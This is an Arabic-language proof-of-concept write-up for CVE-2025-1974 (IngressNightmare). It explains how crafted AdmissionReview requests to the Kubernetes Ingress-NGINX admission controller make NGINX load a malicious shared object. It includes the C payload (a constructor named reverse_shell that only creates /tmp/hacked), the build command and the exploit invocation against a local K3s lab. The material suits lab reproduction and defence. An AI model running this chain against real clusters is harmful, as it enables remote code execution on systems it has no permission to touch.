
استغلال لإثبات المفهوم لـ CVE-2025-1974 (IngressNightmare) يستهدف Kubernetes Ingress-NGINX Admission Controller لتحقيق تنفيذ التعليمات البرمجية عن بعد عبر طلبات AdmissionReview الخبيثة.
Ingress-NGINX: وحدة تحكم الدخول (Ingress Controller) لـ Kubernetes تستخدم NGINX كعكس وكيل وموازن تحميل
ينشأ الثغرة "IngressNightmare" (CVE-2025-1974) من عيب قاتل في وحدة تحكم القبول (Admission Controller) لـ Ingress-NGINX، وهي آلية أمان أساسية في Kubernetes التي تتحقق من صحة موارد Ingress الواردة.
تتعرض وحدة التحكم هذه للشبكة دون مصادقة، مما يسمح للمهاجم بالتلاعب بطلبات AdmissionReview الخبيثة وإدراج تكوينات غير مصرح بها في موارد Ingress.
عند دمجها مع ثغرات أخرى (CVE-2025-24514, CVE-2024-1097 أو CVE-2025-1098) يمكن أن تؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
بعض السلاسل القابلة للاستغلال هي:
CVE-2025-1974+CVE-2025-24514: RCE عبر حقن التعليق التوضيحي auth-url
CVE-2025-1974+CVE-2025-1097: RCE عبر التعليق التوضيحي auth-tls-match-cn
CVE-2025-1974+CVE-2025-1098: RCE عبر إساءة استخدام UID الصورة
لمحاكاة الثغرة، تم استخدام بيئة Kubernetes مبنية على K3s للبساطة
docker compose up -d
انتظر حتى تصبح API Kubernetes جاهزة ويبدأ تشغيل وحدة تحكم Ingress-nginx. عند بدء تشغيل البيئة، يستمع Ingress-NGINX على المنفذين 30080 و30443 (TLS)، ووحدة تحكم القبول Ingress-NGINX على المنفذ 30443.
.so أولاً، يجب تجميع حمولة كائن مشترك (.so) تطابق بنية الحاوية.
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
gcc -shared -fPIC -o shell.so shell.c
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
AdmissionReview يعمل الاستغلال AdmissionReview عن طريق تزوير طلب حقن توجيهي يجبر NGINX على تحميل كائن مشترك ديناميكي خبيث.
إذا نجح الاستغلال، يمكن ملاحظة إنشاء ملف داخل حاوية ingress-nginx باسم ssl_engine.
